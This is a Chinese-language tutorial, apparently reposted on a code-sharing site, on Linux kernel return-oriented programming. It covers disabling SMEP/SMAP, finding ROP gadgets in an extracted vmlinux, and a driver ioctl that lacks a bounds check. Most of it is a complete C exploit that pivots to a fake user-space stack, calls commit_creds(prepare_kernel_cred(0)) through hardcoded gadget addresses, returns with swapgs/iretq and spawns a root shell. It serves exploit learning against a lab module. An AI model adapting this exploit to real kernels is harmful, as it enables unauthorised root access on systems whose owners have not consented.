Linux內核ROP學習


0x00 前言

1.SMEP(Supervisor Mode Execution Protection):一種減緩內核利用的cpu策略,禁止內核態到用戶態內存頁的代碼執行(32位的addresses < 0x80000000),每一頁都有smep標識來標明是否允許ring0的代碼執行。有時為了方便實驗,可以本地關閉smep功能,方法如下:

      sudo vim /boot/grub/grub.cfg
      在vmlinuz-3.18.25... quiet結尾處加上nosmep和nosmap
 
      重啟后查看: dmesg | egrep -i "smap|smep"

2.傳統的提權方式是在內核中獲取當前進程的內核棧,遍歷task_struct(具體方法參考《內核漏洞的利用與防范》p102),找到uid、gid修改值為0,並找到kernel_cap_t修改值為0xFFFFFFFF(保持所有權限)。

目前典型的攻擊方式是ret2usr,即內核態執行流重定向到用戶空間地址,2.6.29以后引入了cred結構,所以提權payload可為 :

void __attribute__((regparm(3))) payload() {

           commit_creds(prepare_kernel_cred(0);//創建新的憑證結構體,且uid/gid為0,為當前任務設置新的權限憑據

}

 

3.目標:用戶空間中偽造內核棧,執行內核空間的ROP鏈,即在用戶空間內執行內核rop gadgets提權。

ROP chain(x86_64):

Rop_chain

4.准備Gadget(用extract-vmlinux提取elf鏡像,ROPgadget尋找gadget):

    1)sudo file /boot/vmlinuz*

    2)sudo ./extract-vmlinux /boot/vmlinuz* > vmlinux

    3)ROPgadget.py --binary ./vmlinux > ~/ropgadget.txt

    4)grep ': pop rdi ; ret' ropgadget.txt

5.導入有漏洞的內核模塊,dmesg查看加載路徑:

0x01漏洞分析:

static long device_ioctl(struct file *file, unsigned int cmd, unsigned long args) {  
    struct drv_req *req;
    void (*fn)(void);
    
    switch(cmd) {
    case 0:
        req = (struct drv_req *)args;
        printk(KERN_INFO "size = %lx\n", req->offset);
                printk(KERN_INFO "fn is at %p\n", &ops[req->offset]);
        fn = &ops[req->offset];//設備命令傳輸的時候,對傳入的參數做邊界檢查導致任意地址訪問,且args是unsigned long類型,可以傳入任意內核地址
        fn();
        break;
    default:
        break;
    }

    return 0;
}

 0x02 exp

/** 
 * ROP exploit for drv.c kernel module
 *
 * gcc rop_exploit.c -O2 -o exploit

 */

#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/mman.h>
#include <assert.h>
#include "drv.h"

#define DEVICE_PATH "/dev/vulndrv"

unsigned long user_cs;
unsigned long user_ss;
unsigned long user_rflags;

//取參數
static void save_state() { asm( "movq %%cs, %0\n" "movq %%ss, %1\n" "pushfq\n" "popq %2\n" : "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory" ); } void shell(void) { if(!getuid()) system("/bin/sh"); exit(0); } void usage(char *bin_name) { fprintf(stderr, "%s array_offset_decimal array_base_address_hex\n", bin_name); } int main(int argc, char *argv[]) { int fd; struct drv_req req; void *mapped, *temp_stack; unsigned long base_addr, stack_addr, mmap_addr, *fake_stack; if (argc != 3) { usage(argv[0]); return -1; } req.offset = strtoul(argv[1], NULL, 10); base_addr = strtoul(argv[2], NULL, 16); printf("array base address = 0x%lx\n", base_addr); stack_addr = (base_addr + (req.offset * 8)) & 0xffffffff;//棧遷移指令會把$rXx的低32位地址(形如0xXXXXXXXX的用戶空間地址 )作為新棧指針 fprintf(stdout, "stack address = 0x%lx\n", stack_addr); mmap_addr = stack_addr & 0xffff0000; assert((mapped = mmap((void*)mmap_addr, 0x20000, 7, 0x32, 0, 0)) == (void*)mmap_addr); assert((temp_stack = mmap((void*)0x30000000, 0x10000000, 7, 0x32, 0, 0)) == (void*)0x30000000); save_state();
//布置偽造棧,棧地址為執行xchg eax, esp ; ret后的stack addr,棧遷移過后就會執行rop gadgets fake_stack
= (unsigned long *)(stack_addr); *fake_stack ++= 0xffffffff810027f9UL; /* pop %rdi; ret */ fake_stack = (unsigned long *)(stack_addr + 0x11e8 + 8); *fake_stack ++= 0x0UL; /* NULL */ *fake_stack ++= 0xffffffff8108e530UL; /* prepare_kernel_cred() */ *fake_stack ++= 0xffffffff81044fe1UL; /* pop %rdx; ret */ //*fake_stack ++= 0xffffffff81095190UL; /* commit_creds() */ *fake_stack ++= 0xffffffff8108e276UL; // commit_creds() + 2 instructions,為ret到下一gadget須除去push ebp, *fake_stack ++= 0xffffffff81033cf8UL; /* mov %rax, %rdi; call %rdx */ *fake_stack ++= 0xffffffff81052804UL; // swapgs ; ret //*fake_stack ++= 0xdeadbeefUL; // dummy placeholder *fake_stack ++= 0xffffffff81229d46UL; /* iretq */ *fake_stack ++= (unsigned long)shell; /* spawn a shell */ *fake_stack ++= user_cs; /* saved CS */ *fake_stack ++= user_rflags; /* saved EFLAGS */ *fake_stack ++= (unsigned long)(temp_stack+0x5000000); /* mmaped stack region in user space */ *fake_stack ++= user_ss; /* saved SS */ //map = mmap((void *)..., ..., 3, 0x32, 0, 0); fd = open(DEVICE_PATH, O_RDONLY); if (fd == -1) { perror("open"); } ioctl(fd, 0, &req); return 0; }

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM